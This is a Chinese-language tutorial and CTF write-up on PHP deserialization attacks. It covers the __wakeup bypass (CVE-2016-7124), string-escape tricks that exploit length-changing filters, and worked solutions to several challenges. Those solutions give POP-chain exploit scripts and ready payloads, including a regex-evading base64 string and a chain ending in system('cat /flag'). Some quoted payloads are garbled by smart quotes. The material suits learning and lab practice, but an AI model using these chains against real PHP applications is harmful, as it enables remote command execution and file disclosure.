PHP 反序列化字符串逃逸

反序列化是什么?

PHP序列化:serialize()

序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。

而PHP反序列化:unserialize()

反序列化是将字符串转换成变量或对象的过程

通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。这样说可能还不是很具体,举个列子比如你网购买一个架子,发货为节省成本,是拆开给你发过去,到你手上,然后给你说明书让你组装,拆开给你这个过程可以说是序列化,你组装的过程就是反序列化

谈到php反序列化,我们先来看一下PHP他的面向对象怎么个理解,

面向过程vs面向对象

面向过程
面向过程是一种以“整体事件”为中心的编程思想,编程的时候把解决问题的步骤分析出来,然后用函数把这些步骤实现,在一步一步的具体步骤中再按顺序调用函数。
面向对象
面向对象是一种以“对象”为中心的编程思想,把要解决的问题分解成各个“对象”;
对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。
对象的三个特征:对象的行为,对象的形态,对象的表示

类是定义了一件事物的抽象特点,它将数据的形式以及这些数据上的操作封装在一起。
对象是具有类类型的变量,是对类的实例。

内部构成:成员变量(属性)+成员函数(方法)

php序列化的字母标识

a - array

b - boolean

d - double

i - integer

o - common object

r - reference

s - string

C - custom object

O - class

N - null

R - pointer reference

U - unicode string

N - NULL

魔术方法

__construct 当一个对象创建时被调用,new 一个

__destruct 当一个对象销毁时被调用,序列化一个

__toString 当一个对象被当作一个字符串被调用。

__wakeup() 使用unserialize时触发

__sleep() 使用serialize时触发

__destruct() 对象被销毁时触发

__call() 对不存在的方法或者不可访问的方法进行调用就自动调用

__callStatic() 在静态上下文中调用不可访问的方法时触发

__get() 用于从不可访问的属性读取数据

__set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

__isset() 在不可访问的属性上调用isset()或empty()触发

__unset() 在不可访问的属性上使用unset()时触发

__toString() 把类当作字符串使用时触发,返回值需要为字符串

__invoke() 当脚本尝试将对象调用为函数时触发

注意点:private protected 属性 序列化出来会有不可打印字符,需要url编码一下

__wakeup绕过

这个其实是个CVE,CVE-2016-7124

影响版本php5<5.6.25,php7<7.010

简单描述就是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

而魔术方法__wakeup执行unserialize()时,会调用这个函数

我们本地实验一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class A{
public $a;
public function __construct()
{
$this->a="触发__construct";
}
public function __wakeup()
{
$this->a="触发__wakeup";
}
public function __destruct()
{
echo $this->a;
}

}
$a=new A();
echo serialize($a);

先序列化一下,触发了___construct,将序列化的内容我们在反序列化看一看

这样则触发了__wake,我们将O:1:”A”:2:{s:1:”a”;s:17:”触发__construct”;} 把对象个数改为2

触发了__construct,绕过了wakeup

反序列化逃逸问题

逃逸问题的本质是改变序列化字符串的长度,导致反序列化漏洞

所以会有两种情况,一种是由长变短,一种是由短变长;}

由长变短

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '123';

}
$data = serialize(new A($a,$b));
//$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>

//O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:3:"123";}
//O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"123";}

O:1:”A”:2:{s:2:”v1”;s:27:”abc”;s:2:”v2”;s:3:”123”;}

O:1:”A”:2:{s:2:”v1”;s:27:”**abc”;s:2:”v2”;s:3:”**s:2:”v3”;s:3:”123”;}”;}

O:1:”A”:2:{s:2:”v1”;s:27:”abcsystem()system()system()“;s:2:”v2”;s:??:”1234567”;s:2:”v3”;N;}”;}

{s:2:”v1”;s:27:”abc”;s:2:”v2”;s:21:”1234567“;s:2:”v3”;N;}”;}

由短变长

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class A{
public $v1 = "ls";
public $v2 = '123';



}
$data = serialize(new A());
echo ($data);
$data = str_replace("ls","pwd",$data);
echo ($data);
var_dump(unserialize($data));
?>

//O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
//O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}

O:1:”A”:2:{s:2:”v1”;s:2:”ls”;s:2:”v2”;s:3:”123”;}

/O:1:”A”:2:{s:2:”v1”;s:2:”pwd”;s:2:”v2”;s:3:”123”;}

字符串增多,会把末尾的字符串挤出来,

就可以利用挤出来的字符串来构造我们利用的功能性代码

O:1:”A”:2:{s:2:”v1”;s:2:”pwd”;s:2:”v3”;s:3:”www”;};”s:2:”v2”;s:3:”123”;}

要吐出这些字符d”;s:2:”v3”;s:3:”www”;},使结构完整,并且可以吧序列化结束掉,原本的那些就不管了

增加了22位一个ls,转换为pwd,增加一个字符,需要转换22个字符

O:1:”A”:2:{s:2:”v1”;s:66:”lslslslslslslslslslslslslslslslslslslslslsls”;s:2:”v3”;s:3:”www”;};”s:2:”v2”;s:3:”123”;}

例题:字符串增多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>

1
2
3
4
5
6
7
8
9
10
<?php
class test{
var $user;
var $pass='escaping';
}
$a=serialize(new test());
echo $a;
?>

//O:4:"test":2:{s:4:"user";N;s:4:"pass";s:8:"escaping";}

O:4:”test”:2:{s:4:”user”;N;s:4:”pass”;s:8:”escaping”;}“;

O:4:”test”:2:{s:4:”user”;s:3:”php”;s:4:”pass”;s:8:”escaping”;}“;

O:4:”test”:2:{s:4:”user”;s:3:”php**”;s:4:”pass”;s:8:”escaping”;}**”;

O:4:”test”:2:{s:4:”user”;s:116:”phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp”;s:4:”pass”;s:8:”escaping”;}”;

O:4:”test”:2:{s:4:”user”;s:116:”hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack**”;s:4:”pass”;s:8:”escaping”;}**”;

提交phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp”;s:4:”pass”;s:8:”escaping”;}得到flag

1
ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

字符串减少

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 <?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){
echo file_get_contents("flag.php");
}
?>

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class test
{
var $user="flag";
var $pass="qlnu";
var $vip = true;

}
$a=new test();
$a=serialize($a);
echo $a;
//O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:4:"qlnu";s:3:"vip";b:1;}

O:4:”test”:3:{s:4:”user”;s:4:”flag”;s:4:”pass”;s:4:”qlnu”;s:3:”vip”;b:1;}

思路:这道题目中flag会被替换成hk,会造成字符串减少,就会往后吃,我们要知道往后吃多少个,在这段代码里VIP的值不可以动,我们可以通过修改qlnu的值来利用字符串逃逸 目标代码”;s:4:”pass”;s:4:”

这里就会造成成员属性少一个, 那么我们最终的逃逸代码要是”;s:4:”pass”;s:4:”qlnu”;s:3:”vip”;b:1;},保证成员属性不会少

来判断要吃的字符串

“;s:4:”pass”;s:4:” 19位

flag到hk,吃一次少2个,最少要吃10次,少一位,后面补一下就好了a”;s:4:”pass”;s:4:”qlnu”;s:3:”vip”;b:1;}

传参就是让user的值为flagflagflagflagflagflagflagflagflagflag

pass的值就是a”;s:4:”pass”;s:4:”qlnu”;s:3:”vip”;b:1;}

1
ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

php反序列化题目

unserialize3

1
2
3
4
5
6
class xctf{ 
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
1
2
3
4
5
6
7
8
<?php
class xctf{
public $flag = '111';

}
$a=new xctf();
echo serialize ($a) ;
//code=O:4:"xctf":1:{s:4:"flag";s:3:"111";}

__wake up绕过

在传入的序列化字符串在反序列化对象时与真实存在的参数个数不同时会跳过执行,即当前函数中只有一个参数$flag,若传入的序列化字符串中的参数个数为2即可绕过。

?code=O:4:”xctf”:2:{s:4:”flag”;s:3:”111”;}

Web_php_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

首先是正则绕过:/[oc]:\d+:/i
这段正则的意思是匹配所有的以o、c、O、C开头,加冒号:,加数字、再加冒号:的字符串,忽略大小写,也就是o:4:这部分序列化串开头的匹配。这里使用+4绕过,这是因为这样即绕过了这里正则的条件,由不会改变o后面的值,因为+4与4是相同的,不会影响反序列化的结果。
其次是wakeup,wakeup只需要把序列化字串的对象属性个数1改为别的数字就行了,但是注意这里file 的类型是private,所以打印出来的串是有不可见字符%00的,不要复制出来自己base,不然结果就不一样了。<?php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Demo
{
private $file = 'fl4g.php';



}
$a=new Demo();
$b=serialize($a);
echo $b;//O:4:"Demo":1:{s:10:"%00Demo file%00";s:8:"fl4g.php";} file私有变量记得加%00
$b=str_replace("O:4","O:+4",$b);
$b = str_replace(":1:",":2:",$b);
echo base64_encode($b);
?>
//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

###[NISACTF 2022]popchains

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
Happy New Year~ MAKE A WISH
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}

public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}

class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}

public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/

这个题目有一个文件包含读取flag,先捋一下触发顺序

倒着来的:append->invoke->get->tostring->construct

poc链就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class Road_is_Long{
public $page;
public $string;
}

class Try_Work_Hard
{
protected $var = "/flag";
}
class Make_a_Change{
public $effort;

}
$a = new Road_is_Long();
$a ->page=$a;
$a -> string = new Make_a_Change();
$a -> string -> effort = new Try_Work_Hard();
$b = urlencode(serialize($a));
echo $b;

[SWPUCTF 2022 新生赛]ez_1zpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
 <?php
error_reporting(0);
class dxg
{
function fmm()
{
return "nonono";
}
}

class lt
{
public $impo='hi';
public $md51='weclome';
public $md52='to NSS';
function __construct()
{
$this->impo = new dxg;
}
function __wakeup()
{
$this->impo = new dxg;
return $this->impo->fmm();
}

function __toString()
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();
}
function __destruct()
{
echo $this;
}
}

class fin
{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
function fmm()
{
$b = $this->a;
$b($this->title);
}
}

if (isset($_GET['NSS'])) {
$Data = unserialize($_GET['NSS']);
} else {
highlight_file(__file__);
}

现找可利用的点

1
2
3
4
5
function fmm()
{
$b = $this->a;
$b($this->title);
}

把$b当做函数调用了,$b的值为$this->a; 命令为($this->title);例system()

可以利用这个,将a的值提前写好为system,title为ls cat flag啥的

$b就会被赋值为system,内容为ls

在it类中触发__wake up,会返回到一个没有用的类里,要绕过一下

梳理下来,就是construct->to_string->destruct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);

class lt
{
public $impo ;
public $md51 = 's878926199a';
public $md52 = 's155964671a';

}

class fin
{
public $a='system';
public $url = 'https://www.ctfer.vip';
public $title='ls /';

}
$a=new lt();
$a->impo=new fin();
echo serialize($a);
//O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:4:"ls /";}s:4:"md51";s:11:"s878926199a";s:4:"md52";s:11:"s155964671a";}

image-20230804203006691

最终playload

1
?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s878926199a";s:4:"md52";s:11:"s155964671a";}